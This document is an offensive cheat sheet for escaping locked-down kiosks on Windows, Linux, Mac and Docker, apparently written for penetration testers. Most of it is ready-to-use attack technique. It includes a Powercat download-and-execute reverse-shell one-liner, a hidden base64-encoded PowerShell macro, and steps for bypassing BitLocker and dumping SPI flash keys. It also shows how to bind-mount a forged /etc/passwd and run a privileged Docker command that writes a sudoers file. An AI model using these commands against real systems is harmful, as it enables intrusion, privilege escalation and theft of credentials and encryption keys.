Kiosk Breakouts

Kiosk breakout badusb script: https://github.com/KhaelK138/badusb-windows-kiosk-breakout/blob/main/breakout_payload.txt

Extremely extensive playbook for kiosk escapes and on-box domain enumeration: https://github.com/CroodSolutions/CTRL-ESC-HOST

Windows

Getting into Explorer

• I won’t cover many keyboard shortcuts since they’re in badusb script
• Many ways from Chrome open it
  • Settings > Downloads > Change Location
  • Downloads > Click folder icon of any item
  • Dev tools > Console > showOpenFilePicker();
    • Or just click this button: Open File Picker
  • Accessibility > Caption Preferences > Windows Settings
• MS Office can easily get to file explorer, so direct launch them with CTRL+ALT+SHIFT+WIN and:
  • Word: W
  • Excel: X
  • Powerpoint: P
  • Outlook: O
  • Teams (after reboot): F11
• Magnifier: Opens settings
• Settings:
  • System > Display > Graphics > “Add desktop app” for file dialog
  • Apps > Actions > “Learn how” to open up a browser

Getting a Shell from Explorer

• Can simply run programs like cmd, powershell, or powershell_ISE
  • Good alternatives: C:\Windows\System32\ftp.exe with !{command}, C:\Windows\System32\wbem\WMIC.exe with process call create "powershell.exe"
  • Can also just rename cmd.exe or ftp.exe to msedge.exe and then type msedge in the browser bar
• Can right click and “open” the file
  • This will launch files like exes, bats, etc. so any malicious file will do
• Can drop another file, like a .txt, onto the cmd binary
• Can hyperlink to dangerous files (file:///C:/Windows/System32/cmd.exe or file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe)
• Can place direct commands in .bat or .cmd files, such as something as simple as powershell
  • For a full list of executable file types: https://aerorock.co.nz/list-of-executable-file-extensions-windows/
• Can run Visual Basic inside a .vbs file with the following set objApp = CreateObject("WScript.Shell"): objApp.Run "powershell"
• Can simply right-click and say “open in terminal”
  • This can actually work in the file preview section when opening a file
• Using a USB:
  • You can plug a USB in with cmd.exe renamed as something like msedge.exe
  • Then, after it mounts, type in D:\msedge.exe and it should directly open

Bypassing Path Restrictions

• Sometimes, paths like C:\Windows\ will be restricted, but we can use %WINDIR% or shell:MyComputerFolder to bypass this
  • More path bypasses can be found in the link at above
• Other protocol handlers, such as about:, data:, ftp:, mailto:, news:, res:, telnet:, snews:, or view-source: can also be an avenue for a breakout
  • This website provides links to a lot of these
  • FTP has specific command execution functionality, which can be used to bypass restrictions
    • ftp and then !"{command_to_run}", such as !"dir C:\Windows\System32"
  • Hell even calculator://localhost exists, don’t ask me why
  • Same goes for UNC paths, such as \\127.0.0.1\C$\Windows\System32

Bypassing Disabled Interactive Sessions

• If cmd is run with /K or /C, it won’t allow for interactive commands
  • This can be bypassed by running cmd.exe /K pause or provided a command with cmd.exe /C {command}
• If some GUI functionality in the kiosk runs a batch script, we can sometimes pause the script and use the command prompt by holding scroll-lock

Bypassing GPO restrictions

• Often, GPO restrictions will be in place where users can’t access perform certain actions
  • This could be accessing a certain share or folder from Explorer or running cmd/powershell
• Thus, we can do something like open MS paint, open the file dialog box from there, and then type the fileshare in the filename field
  • Something like \\127.0.0.1\c$\users\{user}
  • This can also help us break out of restricted environments or kiosks, as we can host cmd.exe in a network share, access the share from paint’s explorer dialog, right click cmd.exe, and open it
    • Alternatively, we can edit an existing shortcut such that the Target field is C:\Windows\System32\cmd.exe, and thus opening the shortcut pops cmd
  • .bat, .ps, and .vbs scripts will sometimes automatically execute, which can also be used to gain a shell
• Can also try using Q-Dir or Explorer++ if GPO restrictions are on explorer itself (similar story with Simpleregedit or SmallRegistryEditor for registry restrictions)

Bypassing Name Restrictions

• It can sometimes be as easy as copying cmd.exe and renaming to mspaint.exe

Utilizing Internet Explorer

• file://c:\windows\system32\cmd.exe is always a good shot
• Menus can open up all sorts of functionality
• Right-clicking images (or ctrl+s) can save-as, popping a file dialog
  • file > Customize Internet Explorer view source > other can allow us to set the application to view source as C:\Windows\System32\cmd.exe
• Favorites menu (with alt+c) and dragging a folder onto the browser window can work wonders
• Setting homepage to cmd.exe can also work
• Browser-based exploits - Metasploit can help host a webpage to exploit Explorer

Citrix

• If we can modify the .ICA file that Citrix uses as configuration, we can add InitialProgram=cmd.exe

Breaking out with MS Paint?!?!

• Create a 6x1 canvas and setting certain pixels can allow us to write batch file code
  • RGB pixels in order: 10 0 0, 13 10 13, 100 109 99, 120 101 46, 0 0 101, 0 0 0
• Then, save as a 24-bit Bitmap and rename to a .bat file
• Finally, open the batch file

Touchscreen Kiosks

• Just sorta swipe your hand all over it
• Swipe around with 3/4/5 fingers
• Hold down all four corners at once
• Getting a keyboard if only touchscreen: Settings > Accessibility > Keyboard (scroll down) > On-screen keyboard

MS Office Macros

• We can often get a powershell Window by creating a docx file, opening it, and running a macro
  • To make macros: View -> Macros
  • Basic macro code that opens powershell:

Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

• Powercat
  • Creates reverse shells, but detected by defender
    • Command to download/execute the reverse shell: IEX(New-Object System.Net.WebClient).DownloadString('http://{IP}:{port}/powercat.ps1');powercat -c {IP} -p {port} -e powershell
    • This is just grabbing a hosted powershell script
  • Can be passed to the macro by encoding it in chunks of 50 base64 characters:
    • Dim Str as String
    • Str = Str + "powershell.exe -nop -w hidden -enc {base64}"
    • Str = Str + {base64}"
    • CreateObject("Wscript.Shell").Run Str

LOLBAS

• Check out the binaries that can execute commands at https://lolbas-project.github.io/#/execute

Bypass Disk Encryption

• Often times, we can use Windows’ recovery mode against it
• Newly-released YellowKey exploit almost seems to be a backdoor allowing gaining a shell within an encrypted Bitlocker environment
  • Just copy the FsTx folder to {USBSTICK}:\System Volume Information\FsTx and make sure it is formatted as NTFS
  • Plug in, hold shift, click restart, let go of shift and hold CTRL
• Steps are along the lines of:
  • Reboot and Shift + F8 to break out of auto-login and reach Windows login screen
  • Hold Shift and then click restart, resulting in Windows recovery
  • Insert USB flash with linux
  • Select “Use a Device” and use the USB linux
    • Install SSH and connect to network
  • If we have access to the drive where the kiosk was installed from (for example D:\), we can dump the deleted memory from our shell
    • Configure linux with Chipsec, build the chipsec kernel module, run chipsec and dump SPI flash
  • The dump could have the bitlocker recovery keys or the boot key (either XOR’d or hashed if a newer version)

Linux

Bypassing Read-Only File Systems

• If we have a filesystem or directory we can’t write to as root, we can try mounting over the directory instead
  • For example, let’s say we can’t write to /etc/passwd, even as root, but we want persistence
  • We can create our own version and put it in /tmp/passwd and then run sudo mount -o bind /tmp/passwd /etc/passwd
  • Now, anything that reads /etc/passwd will read our version, even though actual /etc/passwd is unchanged

SysRq

• Debugging tool to send commands directly to the kernel
  • Intended to help recover from frozen systems, reboot safely, or simply unstuck yourself
• The Wikipedia page on it goes into detail about each of the combinations
• This is supported in the Kiosk Breakout Script

Mac

Command Execution

• Surprisingly a good number of ways of getting execution, even if terminal and scripting is disabled
• Downloading another terminal works surprisingly well, like iterm2
• Apps:
  • Script Editor: do shell script "{command}" for commands and results
  • Automator: Run shell scrip (even with scripting disabled), then play button
  • Shortcuts: Run shell script, then play button
  • Word: Preferences -> Ribbon -> toggle developer tab (bottom right) -> New macro -> Shell "command" (use | pbcopy to get results into clipboard)
    • Macros run in a semi-sandbox it seems, but still decent for file system exploration

Docker

Shai Hulud breakout payload: docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"